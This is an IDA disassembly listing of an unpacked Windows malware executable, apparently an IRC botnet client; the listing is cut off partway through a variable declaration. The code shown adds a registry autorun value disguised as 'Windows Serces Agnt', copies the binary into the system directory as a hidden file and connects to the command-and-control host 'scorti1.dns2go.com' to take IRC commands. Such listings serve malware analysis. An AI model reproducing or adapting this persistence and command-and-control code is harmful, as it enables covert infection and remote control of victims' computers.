; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : CC2913A5387DE8216F7BD2C01C8AA241 ; File Name : u:\work\cc2913a5387de8216f7bd2c01c8aa241_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DF000 ( 913408.) ; Section size in file : 000DF000 ( 913408.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _packed segment para public 'CODE' use32 assume cs:_packed ;org 401000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401221+358p ; sub_4188A6+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx loc_401005: ; DATA XREF: start+1Co push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: sub_4167A0+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: sub_401221+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C ; closesocket call sub_40B583 call dword_4CB92C ; WSACleanup call dword_4CB92C ; WSACleanup mov ebx, dword_427080 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_427078 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_427074 ; CreateProcessA test eax, eax jz short loc_4011E2 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_427070 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4011E2: ; CODE XREF: sub_40111D+AFj ; DATA XREF: sub_4FADAE+101r mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call dword_42706C ; ExitProcess pop edi pop esi pop ebx loc_401205: ; DATA XREF: .packed:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401221 proc near ; CODE XREF: .packed:0041E29Cp var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_40111D push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 ; SetErrorMode push 7530h push offset aDoos ; "DOOS" push ebx push ebx call dword_4270AC ; CreateMutexA push eax call dword_4270A8 ; WaitForSingleObject cmp eax, 102h jnz short loc_4012A1 push 1 call dword_42706C ; ExitProcess loc_4012A1: ; CODE XREF: sub_401221+76j lea eax, [ebp+var_884] push eax push 202h call dword_4CB944 ; WSAStartup cmp eax, ebx jnz loc_4017E4 cmp [ebp+var_884], 2 jnz loc_4017DE xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_4270A4 ; GetModuleHandleA push eax call dword_427078 ; GetModuleFileNameA lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset dword_429AC8 lea eax, [ebp+var_5F4] push esi push eax call sub_41C360 lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax loc_40134E: ; DATA XREF: sub_4FADAE+26Fr call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: sub_401221+179j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: sub_401221+148j ; sub_401221+156j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset dword_429AC0 push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_4270A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp+var_1E8] push 80h push eax call dword_42709C ; SetFileAttributesA loc_4013DC: ; CODE XREF: sub_401221+1A7j mov esi, dword_427098 lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_4013F3: ; CODE XREF: sub_401221+209j call esi ; CopyFileA test eax, eax jnz short loc_40142C call dword_427094 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: sub_401221+1E5j push 1 pop edi push 3A98h call dword_427080 ; Sleep lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: sub_401221+1D6j ; sub_401221+1E0j ... lea eax, [ebp+var_1E8] push eax call sub_4187E0 pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_42709C ; SetFileAttributesA push 10h lea eax, [ebp+var_20] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp+var_E4] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset byte_43DB88 mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi loc_401488: ; DATA XREF: sub_4FADAE+8Cw ; sub_4FB4DE+4Cr call dword_427090 ; GetCurrentProcessId push eax push esi push 100000h loc_401495: ; DATA XREF: .packed:off_433094o call dword_42708C ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] loc_4014A9: ; DATA XREF: sub_4FADAE+A1r push eax lea eax, [ebp+var_988] push offset dword_429AB4 push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_427074 ; CreateProcessA test eax, eax jz short loc_401516 push 0C8h call dword_427080 ; Sleep push [ebp+var_20] mov esi, dword_427070 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4CB92C ; WSACleanup push ebx call dword_42706C ; ExitProcess loc_401516: ; CODE XREF: sub_401221+137j ; sub_401221+2CBj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_4270A8 ; WaitForSingleObject push esi call dword_427070 ; CloseHandle mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h call dword_427080 ; Sleep mov eax, dword_4DBDFC push dword ptr [eax+8] call dword_427088 ; DeleteFileA loc_401562: ; CODE XREF: sub_401221+2FCj ; sub_401221+326j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp+var_5F4] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: sub_401221+347j ; sub_401221+34Fj lea eax, [ebp+var_A0] push offset dword_429A98 push eax call sub_41C266 push ebx lea eax, [ebp+var_A0] push ebx push eax call sub_40B3BA lea eax, [ebp+var_A0] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DB90 call sub_41BF70 add esp, 24h lea eax, [ebp+var_A0] push offset unk_429A74 push eax call sub_41C266 push ebx lea eax, [ebp+var_A0] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_419F4D push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset unk_429A34 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: sub_401221+3E4j lea eax, [ebp+var_A0] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp+var_A0] push offset dword_429A08 push eax call sub_41C266 push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_410BFD push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset dword_4299D4 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: sub_401221+45Cj lea eax, [ebp+var_A0] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: sub_401221+418j call sub_41C2C2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C mov dword_4CB888, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB79C push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7DC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: sub_401221+563j ; sub_401221+56Ej ... mov [ebp+var_4], ebx loc_4016FF: ; CODE XREF: sub_401221+517j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp+var_10], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec [ebp+var_4] loc_401726: ; CODE XREF: sub_401221+500j push 0BB8h call dword_427080 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4016FF cmp [ebp+var_10], 2 jz loc_4017D9 cmp [ebp+var_C], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp+var_C], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: sub_401221+526j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB71C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp+var_C], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: sub_401221+4F4j ; sub_401221+51Dj call sub_40B583 loc_4017DE: ; CODE XREF: sub_401221+A1j ; sub_401221+B1j call dword_4CB92C ; WSACleanup loc_4017E4: ; CODE XREF: sub_401221+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: sub_401221+4E9p ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9D4 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E928 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA54 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C ; closesocket call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call dword_427080 ; Sleep jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD0 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C ; closesocket test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C ; closesocket push 1388h call dword_427080 ; Sleep loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC ; recv test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h call dword_427080 ; Sleep jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword 